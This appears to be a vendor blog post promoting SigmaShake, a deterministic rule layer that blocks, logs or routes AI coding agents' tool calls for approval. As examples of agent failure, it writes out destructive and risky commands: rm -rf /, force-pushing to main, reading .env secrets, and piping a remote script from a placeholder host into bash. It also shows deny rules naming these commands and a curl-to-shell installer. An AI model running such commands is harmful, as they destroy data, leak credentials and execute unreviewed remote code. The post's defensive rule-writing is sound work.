Your AI Agent Has Root Access. You Have a 'Y/N' Prompt.

The Permission UX Is Broken

If you've shipped code with an AI agent in the last six months, Claude Code, OpenAI Codex, Cursor, VS Code with GitHub Copilot, Google Antigravity, Aider, you've encountered the same friction point.

The agent wants to run a shell command. You get a prompt:

Claude wants to run: npm install zod@latest
Allow? [Y/n]

You press Y. Then it wants to edit a file. Y. Then it wants to run a build. Y. Then it wants to grep something. Y. Then it wants to write a test file. Y.

After the fifteenth approval in two minutes, you do the math: the agent is generating value at 200 tokens/second, and you're the bottleneck at 1 approval/second. So you do what everyone does. You flip into YOLO mode, auto-accept everything, and go make coffee.

Now you have an unsupervised process with your shell, your filesystem, your git credentials, and your SSH keys. One hallucinated rm -rf / away from a very bad day.

This is the state of the art in AI agent security in 2026: a binary choice between constant babysitting and complete trust.

What Actually Goes Wrong

This isn't a theoretical problem. Here's what agents actually do when unsupervised:

1. Destructive shell commands. An agent cleaning build artifacts miscalculates the working directory. Instead of rm -rf dist/, it constructs rm -rf /. In YOLO mode, this executes before you see it.

2. Secret exfiltration. An agent setting up environment variables reads your .env to "understand the project configuration." That file contains your database credentials, Stripe keys, and API tokens. The content is now in the model's context window, and if you're using a cloud-hosted model, it just left your machine.

3. Supply chain injection. An agent installs a dependency. Instead of lodash, it installs lodash-utils: a typosquatted package that runs a postinstall script. The agent doesn't know the difference. Neither does npm install.

4. curl | bash pipelines. An agent needs to install a tool. It constructs curl -fsSL https://sketchy-cdn.io/install.sh | bash: remote code execution with zero review, checksums, or sandboxing.

5. Force-push over protected branches. An agent trying to "fix the git history" runs git push --force origin main. Your coworkers' last three days of work vanish.

6. Source map leaks. An agent sets "sourceMap": true in tsconfig.json because it read a debugging guide. In production, this exposes your entire TypeScript source code to anyone who opens DevTools. This exact misconfiguration caused the Claude Code source code leak on March 31, 2026.

Every one of these is a real tool call that a real agent constructed during a real coding session. The Y/N prompt was either skipped or approved without inspection.

Why the Y/N Model Can't Scale

The fundamental problem is that human attention is the bottleneck in a system designed to remove humans from the loop.

AI agents are useful precisely because they execute faster than you can review. The moment you insert yourself as a synchronous approval gate on every tool call, you've eliminated the productivity gain. The moment you remove yourself, you've eliminated the safety guarantee.

Every agent has tried to solve this, and every solution converges on the same inadequate pattern:

Agent	"Safety" Mechanism	Reality
Claude Code	PreToolUse hooks, .claude/settings.json allowlists	Manual hook scripts. No standard rule format. No audit trail.
Cursor	Composer approval prompts	Binary Y/N. No conditional logic. No per-command rules.
VS Code (Copilot)	Chat participant trust prompts, @workspace scope	No shell-level enforcement. Trust is per-extension, not per-command.
Codex	Sandbox mode, --full-auto flag	All or nothing. Sandbox doesn't cover file writes.
Antigravity	SafeToAutoRun flag per tool call	The agent decides what's safe. The fox guards the henhouse.
Aider	--yes flag	Global auto-approve. No granularity whatsoever.
Windsurf	Cascade approval	Same Y/N UX with different branding.

None of these give you what you actually need: a declarative policy layer that evaluates every tool call against your rules, without requiring your attention, and without trusting the model's judgment.

Declarative Governance: The Missing Layer

This is the problem SigmaShake (ssg) solves. Instead of approving tool calls one at a time, you write rules:

rule no-destructive-ops {
  enabled true
  priority 100
  severity critical
  DENY execution
  IF command CONTAINS "rm -rf"
  OR command CONTAINS "git push --force"
  OR command CONTAINS "git reset --hard"
  MESSAGE "Destructive command blocked. Use a scoped path."
}

This rule fires on every rm -rf invocation from any agent: Claude Code, Codex, Cursor, VS Code Copilot, Antigravity, Aider. The rule is deterministic (no LLM in the loop), runs in microseconds, and logs every match to an audit trail.

The key design decisions:

1. Rules, not prompts. Your security policy is code, not a natural language instruction that an LLM might interpret differently on every invocation. Rules use a typed DSL with operators like CONTAINS, STARTS_WITH, GLOB, and REGEX. No ambiguity.

2. Sub-millisecond evaluation. The ssg daemon keeps rules hot in memory and evaluates them through a Zig+Rust native engine with SIMD-accelerated string matching. A typical eval takes 5–30µs. The TypeScript fallback engine runs in 100–500µs. Either way, your agent doesn't notice.

3. Six decision types. Not just allow/block. Rules can LOG (observe without blocking), ASK (route to a dashboard for human approval), FORCE (substitute a safe alternative command), or SHADOW (execute but log silently). This gives you graduated enforcement instead of binary gatekeeping.

4. Agent-agnostic. ssg integrates with every major AI coding agent through native hooks:

• Claude Code: PreToolUse hook registered in .claude/settings.json
• Cursor: MCP server (Model Context Protocol)
• VS Code (Copilot): MCP server registered in .vscode/settings.json
• Antigravity: MCP server + system prompt injection
• Codex: MCP server + .codex/config.json
• Aider: MCP server

One rule set. Every agent. Same enforcement.

5. Audit everything. Every evaluation is logged to a local SQLite database with the tool name, input, matched rule, decision, and latency. ssg serve gives you a real-time dashboard with SSE-powered live updates. ssg blocked lists everything that was blocked in your current session so you can run the commands manually if they're legitimate.

The Rule DSL

The .rules file syntax is designed to be readable by both humans and agents. Here's a more complete example: protecting secrets from being read by any agent:

rule no-secret-access {
  enabled true
  priority 95
  severity critical
  DENY read
  IF path GLOB "*.env*"
  OR path GLOB "*credentials*"
  OR path GLOB "*private_key*"
  OR path GLOB "*/secrets/*"
  MESSAGE "Secret file access blocked. Use environment variables instead."
}

Multi-condition rules with AND logic:

rule no-sourcemap-production {
  enabled true
  priority 90
  severity error
  DENY write
  IF path GLOB "**/tsconfig.json"
  AND content LINE_REGEX "\"sourceMap\"\\s*:\\s*true"
  MESSAGE "sourceMap: true exposes your TypeScript source code in production."
}

Redirect agents to better tools with FORCE:

rule use-specific-file-viewer {
  enabled true
  priority 80
  severity info
  FORCE execution
  IF command STARTS_WITH "cat "
  MESSAGE "Use the Read tool instead of cat for structured file access."
}

Require human approval for deployments:

rule approve-deploys {
  enabled true
  priority 95
  severity critical
  ASK execution
  IF command CONTAINS "deploy"
  OR command CONTAINS "kubectl apply"
  MESSAGE "Deployment detected; human approval is required."
  PROMPT "Allow this deployment to proceed?"
}

Architecture: Why Microseconds Matter

If your governance layer adds 500ms to every tool call, a 200-step agent session accumulates 100 seconds of overhead. Developers will disable it.

ssg is built for zero-perceptible overhead:

Agent Tool Call (JSON)
    ↓
Hook → Unix Socket (~0.1–2ms total)
    ↓
Daemon: Parse → Validate → Rate Limit → Loop Guard
    ↓
Native Engine (Zig/Rust, 5–30µs) → TS fallback (100–500µs)
    ↓
Decision → Deferred audit log → JSON response

The native engine uses:

• SIMD-accelerated substring search (SSE2/NEON) for CONTAINS operators
• Wyhash-based hash tables for EQUALS lookups (O(1))
• Thompson NFA regex with ReDoS protection for REGEX operators
• Zero heap allocations during evaluation: all data is arena-allocated at rule load time

The daemon keeps the rule index, database connection, and native engine hot in memory. It communicates over a Unix domain socket: no HTTP overhead, no TLS negotiation, no JSON serialization for IPC. A nc -U call to the socket replaces what would otherwise be a subprocess spawn.

Built-in safety features prevent agents from gaming the system:

• Loop guard: Blocks identical commands repeated 3+ times consecutively (prevents agent loops)
• Rate limiter: Per-PID token bucket (1000 burst, 500/s refill) with permanent circuit breaker
• Fail-open: If ssg crashes, tool calls pass through: governance never bricks your agent

Community Rulesets

Writing rules from scratch is optional. The SigmaShake Hub hosts community-maintained rulesets organized by technology:

ssg hub pull rules-typescript    # TypeScript safety rules
ssg hub pull rules-shell         # Shell command guardrails
ssg hub pull rules-git           # Git workflow enforcement
ssg hub pull rules-npm           # Dependency management

Every ruleset is integrity-verified (SHA-256 + Ed25519 signatures) and auditable via a transparency log chain:

ssg hub audit rules-typescript   # Verify integrity of installed ruleset

Search for rules by keyword:

ssg hub search "sql injection"   # Find rules matching your concern

What This Looks Like in Practice

Here's a real session with ssg active. Claude Code is working on a Node.js project:

[ALLOW]  bash › npm test                    - no rule matched (12µs)
[ALLOW]  write › src/utils.ts               - no rule matched (8µs)
[BLOCK]  bash › rm -rf node_modules/        - rule: no-destructive-ops (28µs)
[LOG]    bash › grep -r "TODO" src/         - rule: prefer-oracle-over-grep (15µs)
[FORCE]  bash › cat package.json            - rule: use-read-tool (19µs)
[ALLOW]  read › src/index.ts                - no rule matched (6µs)
[BLOCK]  read › .env                        - rule: no-secret-access (11µs)
[ASK]    bash › npm publish                 - rule: approve-publish (22µs) → dashboard
[ALLOW]  write › test/utils.test.ts         - no rule matched (9µs)

Nine tool calls evaluated. Two blocked. One redirected. One sent to the dashboard for approval. Zero human interruptions for the six safe operations. Total governance overhead: 130 microseconds.

The agent sees the block messages and course-corrects. When rm -rf node_modules/ is blocked, the message tells it to use a scoped path. Next attempt: rm -rf node_modules/stale-package/. That might pass based on your rules, or you can set a more granular policy.

Getting Started

# macOS / Linux - free installer
curl -fsSL https://install.sigmashake.com | sh

# Windows (PowerShell)
# iwr -useb https://install.sigmashake.com/install.ps1 | iex

# Initialize in your project
ssg init --client=claude    # or cursor, vscode, antigravity, codex, aider

# Pull community rulesets
ssg hub pull rules-shell
ssg hub pull rules-typescript

# Start the daemon for sub-2ms eval
ssg daemon &

# Start the approval dashboard
ssg serve

That's it. Every tool call from your AI agent is now evaluated against your rules, logged to an audit trail, and enforced deterministically, whether you're watching or not.

The Point

The AI agent permission model is stuck between two bad options: manual babysitting that eliminates productivity, or YOLO mode that eliminates safety.

ssg is the third option: automated, deterministic, microsecond-latency governance that runs on your machine, follows your rules, and works with every agent.

Your agent has root access. Give it guardrails.

This declarative rule layer is what we mean by a control plane for AI agents: policy, enforcement, human approval, and audit, all before the tool call runs.

Links:

• Website
• Hub (community rulesets)
• npm